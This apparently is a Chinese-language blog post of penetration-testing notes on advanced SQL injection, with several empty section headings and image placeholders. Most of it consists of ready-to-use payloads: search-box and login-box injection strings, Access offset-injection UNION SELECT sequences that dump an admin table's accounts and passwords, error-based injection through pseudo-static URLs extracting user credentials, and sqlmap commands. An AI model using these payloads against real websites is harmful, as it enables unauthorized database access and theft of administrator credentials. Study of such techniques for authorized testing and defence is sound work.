web渗透笔记之sql注入(进阶篇)

cookie中转注入

https://wenku.baidu.com/view/99f7ce57ad02de80d4d840c1.html

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

搜索框注入

poc:
1%' and '%1%'='%1 返回正常
1%' and '%1%'='%2 无返回结果

关键字=’ and [查询条件] and ‘%’=’
例:
select * from 表名 where 字段 like ‘%’ and 1=1 and ‘%’=’%’


登录框注入语句

a' or (select count(*) from admin)>0 and '1'='1

偏移注入(Access)

偏移注入主要是针对知道表,但是不知道字段的。

00x1 判断字段数

http://www.test.com/newslist.asp?id=1 order by 19 #错误
http://www.test.com/newslist.asp?id=1 order by 18 #正确

00x2 爆出显示位

http://wwwxxx/newslist.asp?id=1 UNION SELECT
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 from sys_admin

00x3 判断表内存在的字段数

接下来我们利用“*”代替admin表内存在的字段,由于是18个字段数,需要逐步测试,直到返回正常。

复制代码

http://www.xxx/newslist.asp?id=1 union select
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,* from sys_admin #错误
http://www.xxx.com/newslist.asp?id=1 union select
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,* from sys_admin #错误
http://www.xxx.com/newslist.asp?id=1 union select
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,* from sys_admin #错误

http://www.xxx.com/newslist.asp?id=1 union select
1,2,3,4,5,6,7,8,9,10,11,* from sys_admin #正确

复制代码
说明了sys_admin表下有11个字段。

偏移注入的基本公式为:

order by 出的字段数减去*号的字段数,然而再用order by的字段数减去2倍刚才得出来的答案
也就是18-11=7
18-7x2=4
得到答案等于:4

然后依旧是套公式的过程。

http://wwwxxx.com/newslist.asp?id=1 union select
1,2,3,4,a.id,b.id,* from (sys_admin as a inner join sys_admin as b on
a.id = b.id)

#这里union select 1,2,3,4:顾名思义就是刚才得出来的长度。
#后面的是sql,可作公式。
如此便爆出了账号密码。


DNSLOG 注入


二次注入


宽字节注入


XFF注入


伪静态注入

伪静态,主要是为了隐藏传递的参数名,伪静态只是一种URL重写的手段,既然能接受参数输入,所以就可能存在sql注入。

  1. 判断页面是静态还是伪静态:
  • F12打开控制台,输入alert(document.lastModified);
    多次刷新网页,用同样的方法,比较弹窗的时间,如果都是一样的,那就是真实的静态网页,否则就是伪静态(动态网页)。
  1. 中转注入法
    通过 http://www.xxx.com/news.php?id=1 做了伪静态之后就成这样了
    http://www.xxx.com/news.php/id/1.html 刺猬写的COOKIES注入中转器的get方式注入的代码修改了一下,只要把注入的参数写成1 ,然后在提交的语句后面加上.html那么就可以直接放到注入软件注入了。

  2. 手工注入法

     http://www.xxx.com/play/Diablo.html
    
     http://www.xxx.com/down/html/?772.html
    
    1. 测试注入:

      http://www.xxx.com/down/html/?772-1.html //若页面发生变化,则存在注入
      http://www.xxx.com/play/Diablo’.html
      http://www.xxx.com/play/Diablo’//and//1='1 /.html
      http://www.xxx.com/play/Diablo’//and//1='2 /
      .html
      http://www.xxx.com/page/html/?56′//and//1=1/.html 正常
      http://www.xxx.com/page/html/?56′//and//1=2/
      .html 出错

    2. 手工注入注意
      http://www.xxx.net/news/html/?410.html
      http://www.xxx.net/news/html/410'union/**/select/**/1/**/from/**/(select/**/count(*),concat(floor(rand(0)*2),0x3a(select/**/concat(user,0x3a,password)/**/from/**/pwn_base_admin/**/limit/**/0,1),0x3a)a/**/from/**/information_schema.tables/**/group/**/by/**/a)b/**/where'1'='1.html

    注: 伪静态的注入和URL的普通GET注入不太相同 。普通url的get注入的%20,%23,+等都可以用;但是伪静态不行,会被直接传递到到url中,所以用/**/这个注释符号表示空格。

  3. SQLmap方法

    在sqlmap中伪静态哪儿存在注入点就加*

    http://www.cunlide.com/id1/1/id2/2
    python sqlmap.py -u “http://www.xxx.com/id1/1*/id2/2″

    http://www.xxx.com/news/class/?103.htm
    python sqlmap.py -u “http://www.xxx.com/news/class/?103*.html”

posted @ 2019-04-03 20:09  yida223  阅读(1196)  评论(0编辑  收藏  举报